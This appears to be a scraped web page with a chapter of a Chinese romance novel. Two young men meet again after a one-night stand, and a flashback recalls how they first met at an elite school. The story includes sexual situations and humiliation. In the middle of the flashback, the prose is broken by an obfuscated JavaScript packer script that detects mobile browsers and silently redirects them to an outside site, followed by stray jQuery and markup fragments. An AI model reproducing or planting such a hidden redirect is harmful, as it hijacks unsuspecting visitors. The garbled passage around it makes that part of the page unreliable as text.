“昨晚掐我掐的爽吗?”
白念安的睡眠极浅,在听到一个不属于自己房间内的声音响起时,他瞬间睁开了眼。
整具身体几乎要散架,头疼欲裂,白念安只用了不到五秒的事情判断出——
他一夜情了。
“怎么不说话?昨晚你让我跪下的时候可是兴奋的不行了。”
男人的声音沙哑,倚靠在床头,咔哒一声响,柑橘香气的爆珠在他口中迸裂开,细微的香气在床上游走。
看着白念安慢条斯理的穿好衣物,甚至连一个眼神都没给到他,这根事后烟似乎抽的也没那么尽兴了。
与白念安那张斯文清秀的脸与之相悖的气质是冰冷的,却在转过身的一瞬间嘴角勾起淡然的笑意。
“如果我对你的身体或者精神造成了损伤,拨打这个电话,金额你会满意的。”
他不由得被男人的一头凌乱的红发吸引住了几秒钟。
身材不错,纹身太多,脸上还有奇怪的钉子。
这张脸熟悉又陌生,勾起了他对于某个极其“讨厌的人”的回忆。
好奇怪,明明不是他的菜。
那道目光在男人脖颈上的左右三道鲨鱼腮割皮纹身多停留了几秒,一圈痕迹未褪,割皮纹身一受刺激就泛红更为明显了。
出于礼貌,白念安又道:“你可以多休息会儿,酒店我会帮你续费。”
这次的事情荒谬至极,白念安有信心让自己的生活再度回归正轨,他才转过身,在没有任何反应的余地之下,男人圈住了他的右手手腕,冰冷的尾戒烙在他的皮肤上。
好恶心。
白念安不喜欢别人这么冒犯他。
“你——”
“你还真是低下的道德感啊……”男人几乎咬牙切齿。
不知分寸紧紧束缚着他腕骨的手收缩紧,力气很大,白念安忽然能明白自己为什么浑身痛的要散架了。
“白、念、安。”
“你到底把我当什么玩意儿了?”
这话里是包含着羞愤或者是恨意吗?白念安分不清,他更惊讶于这个男人居然知道他的名字。
短暂的那几秒钟,白念安数干净了男人左四右三个的耳骨钉,右眉骨一颗,嘴巴张合时闪动过的银光,那应该是一枚舌钉。
他的生活不可能会与这样的人有交集,白念安下了判断。
直到白念安看向那双眼,纤长的睫毛随着一声短促的呼吸颤了下。
“差点没认出你来,真是好久不见。”
“司北。”
在白念安轻唤出他的名字时,司北立刻松开了那只冒犯过度的手。
很慌乱,又狼狈。
司北拿起那张简约的烫金名片,上面没有署名,只有一串电话号码,他笑里夹杂着讥讽:“看你处理这种一夜情这么娴熟,这几年没少玩吧?”
白念安目光扫过摆放在床尾的裤子,发现了口袋里的那一小角,他反讽了回去:
“随身带套,你也不赖。”
“是不赖,毕竟本来也不是为你准备的。”
对于司北的牙尖嘴利白念安有些出乎意料了,毕竟在六年前,在他们的十七岁。
司北只是一条,蠢狗。
“蠢狗”一把撩开盖在腰间的薄被,白念安下意识想回避视线但忍住了,上面的绳痕他再熟悉不过,但似乎昨晚因为醉酒手上无力,所以留下的印记极浅。
许是白念安的完美主义在作祟,他并不满意。
那寸极窄的腰身侧边盘旋着蛇纹身,蛇信子吐露在了人鱼线上,而距离蛇舌不足一厘米的地方还有颗红色小痣,如渴望摘下那颗红色禁果一般,白念安错开了视线。
“纹身不少啊。”白念安不介意和司北叙个旧,他又道:“什么时候开始喜欢搞这些了。”
司北站在浴台前整理了下头发,冲了把脸后,透过镜子和白念安对上眼:“十七岁。”
十七岁?
白念安才想开口说十七岁的时候没见司北身上有纹身,随即他又才意识到。
那份回忆在十七岁的占比也才仅仅小半年的时间。
回合制的问答开始轮到司北:“你断片了?”
“我是需要想起来什么吗?”白念安侧过身,他整理了下腕表,表情从始至终都很平淡。
“春宵一刻值千金呢,想不起来不觉得可惜吗?”
司北语气轻飘飘的,他眉骨处新打的钉子有些泛红,看样子是发炎了。
“可惜?和你吗?”
白念安低低的笑了会儿,他无奈的摇摇头:“和你玩的很开心,房间我会多续一天,你好好休息。”
“再见。”
最好一辈子都别见。
关上门后白念安眼底的笑意一点一点冷却,整张脸阴沉的可怕,
他顺风顺水的活了二十三载,在所有人的期待下几乎从未行差踏错一步,白念安深呼吸了口气,不过是风流一夜,他倒也希望那条蠢狗识趣些,离他越远越好。
从关上门的那瞬间,这件事翻篇。
几分钟便整理好心神的白念安才出酒店,迎面走来两个年轻靓丽的男孩儿,穿着打扮与司北类似,不是他想听,实在是距离太近。
“司北是在这儿吧?”
“好像在3077。”
“好开心,终于要见面了。”
……
廉价的脂粉香气让白念安蹙起了眉,远处的迈巴赫s系飞驰而来,停稳后,一个鼻梁骨有道刀疤的男人下车,他微俯下身,垂着眼拉开了车门。
“白总,新出的音乐企划方案放在车上了。”
白念安淡淡的“嗯”了声,他坐上车,目光扫过正对着他的酒店大堂,那两个花枝招展的男孩儿偷偷绕过工作人员直奔电梯,生怕被人发现一样。
也难怪,毕竟不是什么光彩的身份。
所以司北是和他缠绵一夜后,花着他的钱,用着他续的房,然后马不停蹄的又招来两个鸭子。
恶心。
肮脏。
一想到和这种人做过他就想吐。
白念安许久没有出现过这么强烈的情绪波动了,他一怔愣,笑出了声儿。
这没什么啊,一个生活在下城区最底层,天天啃冷馒头喝自来水,穷得每一件衣服都起球,每年到过年那会儿才会自己下馆子吃顿肉饺子的人,长大了能有什么好作为?
万恶基于穷。
更何况他还是个孤儿。
雨水萧瑟,拍落在车窗上,滑落过那张仅从表皮看格外清秀乖巧的一张脸,今年的春寒潮格外的长,经常晴天放雨,而雨天是白念安最讨厌的天气。
因为他和司北相遇在雨天,分离也是。
这时,白念安想起了自己讨厌司北的第一个理由。
——司北与他格格不入,以至于在人群里,白念安可以精准锁定住司北的那张脸。
2020年,夏末。
“为配合市政府工作,我校从本学期起,引入同校区高中20名学生作为插班生,加入同届2021,成为我校的一份子,请各位同学热烈掌声欢迎。”
可容纳的下上千人的会场开始喧哗不安,白念安坐在首席,可以很清晰的听见身后闲杂的议论声。
“啊……说的好听,其实只是引入进来做噱头的吧?”
“前段时间教育局不是宣告了吗?不允许阶级化教育,枪打出头鸟,咱学校是被当试点了。”
“要我和这些人一起读书不如去死好了。”
“为什么一年花六十万要和分文不掏的这些人在一起念书啊?”
对此,白念安没有任何看法,因为他清晰的知道,他的人生在未来很大概率不会和背后这群鼠目寸光的人交集,更不会和台上的那二十人有任何牵连。
他整理了下领结,站起身,朝着身后淡淡地扫了眼,嘈杂的、包含恶意的议论声瞬间少了一半。
“接下来有请高三1班白念安作为代表迎接新生,并为新生佩戴上首顿的校徽。”
十七岁的白念安,风光无限,或许对于一个过于顺风顺水的人而言,总是要发生些什么才知道自己讨厌什么。
这一天白念安发现,他最讨厌丢脸。
精准锁定住用于报道校新闻并向家长直播的摄像头后,白念安板正着腰杆,朝台上迈出第一步时,他的肩膀被人从后狠撞了下,那道急促的身影越过他朝前迈出几步。
啪——
白念安朝着地板直直摔了上去,脸朝地。
温热的液体顺着他的鼻腔朝外涌出,那几台不识相的摄像机瞬间锁定住难堪的白念安。
惊诧的叫声与笑声冗杂在一起,在白念安的耳旁无限放大,而那个“肇事者”半跪在他面前,伸出手想搀扶住他。
“别碰我。”
白念安声音压得极低,一双明眸瞬间迸发出阴冷的威逼,这眼神显然是把对方吓退了。
“对、对不起,我、我、我——”
是个结巴?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520428|170674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>白念安用手帕擦干净鼻血后,再次抬眼时,他弯起眼,轻轻拍拍“肇事者”的肩膀,摄像头再次焦距在他的身上。
“没事的,不用紧张,快点入列准备授徽仪式吧。”
首顿的授徽仪式一向都是有当届最优秀的学生执行,不仅是要全科目综合第一,还会考量该学生的品行,白念安几乎是蝉联了三年优秀评比,这样全校瞩目的时刻且还在直播,却被一个穷小子搅和黄了。
白念安看着那人急匆匆入列,满脸心虚的模样,他冷冷的扫过去,对方又立马回避开视线。
果然,这么心虚,就是故意的吧?
授徽到“蠢狗”跟前时,他捻起那件洗的都有些泛白的白衬衫把徽章别了上去,透着股奇怪的、淡淡地香气扑面而来,白念安从来没有闻到过这样的味道。
“我、我是司北。”
奇怪。
白念安掀起眼皮,他才仔细打量少年,骨相锋利分明,高鼻薄唇,显然一副负心薄幸的渣男相,可眼睛和打了两盏灯泡一样亮闪闪的盯着他。
就,怎么说呢,感觉像是危险凶狠的德牧在看向白念安时瞬间变成了一只马尔济斯犬一样迥异。
好奇怪的人。
白念安岔开视线:“好好听校长致辞吧。”
“嗯嗯!”
司北光是回答还不够,还重重的点了点头,差点给白念安脑门子磕上去。
摄像机现在全面集中在滔滔不绝的校长身上,而他们站在队列的犄角旮旯,白念安虚了虚眼睛,露出一脸凶相:“刚刚那事儿,咱俩没完。”
司北比白念安高出一个头,朝下看时白念安又怒瞪了他一眼。
“好的,没完。”他诚恳的应答。
?
白念安很难以置信,这蠢狗是在挑衅他吗?
授徽仪式结束后,考虑到白念安才受过伤,带领新生参观首顿的职责就落在了其他人身上,他这才抽出时间在更衣间才处理完鼻腔残留的血迹。
白念安左右反复确认了遍自己的鼻梁骨没歪,他这才松缓了口气。
更衣室空无一人,门外被礼貌的叩响三声:“白念安,有人要找你。”
门被拉开后,白念安看见了一张笑得顽劣的脸,个高儿,好好的首顿制服在他身上穿的流里流气的。
白念安上下审视了番那人,带着嫌弃的口吻:“靳昭成,你要再这么穿校服,我就把你买A评级的事情捅到你爸妈面前去。”
“是是是,班长大人。”靳昭成把身后一脸窘迫的司北推到了白念安跟前,笑嘻嘻的拍了把司北的肩膀:“兄弟加油,让白念安吃瘪的,你还是第一人。”
“滚。”白念安压低声踹了脚靳昭成。
咔哒——门锁落下,更衣室得以片刻的宁静,以至于与他相近的呼吸声也变得嘈杂了起来,极其贪婪的,靠近白念安的脖颈后侧,嗅到了他的气息。
“你闻我?”
他警觉的捂住后脖颈,转过头怒瞪着司北:“你到底想干什么?”
好恶心。
白念安还是没说出口,万一这人是什么大嘴巴,出去污蔑他的名声就实在不值当了。
不过也无所谓了,一个底层一白二净的穷人,难不成还能在首顿翻出一片天来?
“你让我丢脸丢成那样了,我还没找你事情,你反倒找上我来了?”白念安坐在更衣室上的椅子,高翘着二郎腿,眼神丝毫不避讳的上下打量过司北。
司北手上紧紧捏着一包碘伏棉签,他还是结巴:“我、我、想给你这个。”
“就这样?”白念安单挑一边眉,扫视过那袋廉价的碘伏棉签,外包装还皱巴巴的,能是什么好东西?
翘着的那只腿轻轻晃动了两下,白念安沉下脸:“给、我、道、歉。”
司北并没有白念安想象中的硬骨头,立马弯下腰朝着他鞠了一躬。
“对不起,让你受伤了,都是我的错。”
哈?居然这么听话?
白念安嗤笑了声,清秀白净的脸庞一点一点展露出顽劣的姿态,他轻飘飘的开口又道:“那这样,你跪下给我道歉,我就原谅你。”
少年呆愣了一瞬,看了眼白念安的脸又迅速的躲避开视线。
“我可以问问,为什么吗?”
“不愿意做吗?那算了,我也不接受你这种人这种程度的道歉。”
白念安起身就走,才迈出一步,身后传来了细微的衣物窸窣的声音。
“这样……可以吗?”